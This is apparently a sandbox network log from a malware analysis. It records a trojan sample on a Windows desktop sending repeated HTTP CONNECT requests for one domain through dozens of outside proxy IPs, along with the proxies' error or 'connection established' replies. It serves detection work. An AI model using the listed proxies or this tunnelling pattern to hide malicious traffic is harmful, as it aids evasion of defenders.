Feb 23, 2024 14:28:34.382497072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.8	53589	8.213.129.15	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.384535074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.8	53594	8.213.129.15	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.401344061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.8	53318	109.69.0.179	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.401345968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.8	53574	188.166.17.18	8881	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.401495934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.569704056 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.8	53600	8.213.129.15	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.419720888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.8	53602	8.213.129.15	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.422488928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.8	53566	65.1.244.232	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.441142082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.726448059 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.8	53558	202.131.159.58	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.463958025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.8	53569	151.232.55.190	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.472940922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.755542994 CET	239	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Fri, 23 Feb 2024 13:28:28 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.8	53548	36.67.77.41	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.515115976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.8	52865	162.241.40.187	51247	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.526315928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.694823027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695238113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695601940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.739568949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:07.741677999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:19.913538933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.8	53597	172.67.25.204	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.532305002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.620150089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.8	53573	154.12.178.107	29985	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.533828020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.8	53592	104.244.75.78	31534	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.557730913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.8	53587	79.110.196.145	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.562994003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.8	53601	184.170.248.5	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.573357105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.8	53343	139.129.202.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.597909927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.001399994 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.8	51297	138.197.92.110	21346	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.599220037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695003033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695233107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695718050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.8	51425	51.75.126.150	22935	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.605751038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.8	53595	200.41.148.2	12000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.656368017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.8	53480	216.218.240.46	48324	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.666717052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.8	53581	42.193.58.96	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.667246103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.812880039 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.8	53622	147.124.212.31	30508	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.667474985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.8	53603	158.160.141.139	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.675256014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.889262915 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.8	53422	94.131.14.66	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.684091091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.910979033 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.8	53616	67.201.33.10	25283	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.689928055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.8	51437	164.163.21.14	8291	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.700109959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.8	52936	176.120.32.135	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.705272913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.8	53481	27.65.116.243	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.749574900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.8	53643	163.172.137.49	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.798474073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.288702011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898200035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.085655928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.250602007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.389447927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581784010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789156914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.8	53644	109.69.0.179	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.821310043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.8	53660	172.67.181.103	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.822354078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.910959005 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.8	53469	103.109.59.172	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.822926998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.224284887 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.8	53645	167.71.5.83	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.833367109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.011265039 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.8	53623	58.234.116.197	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.833543062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.8	53663	104.25.42.178	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.869497061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.956542015 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.8	51343	194.233.78.142	33551	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.913482904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.046524048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.185952902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289148092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.8	53661	104.244.75.78	31534	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.938431978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.8	53638	14.103.26.53	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.961694956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.8	53671	185.162.229.127	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.972265005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
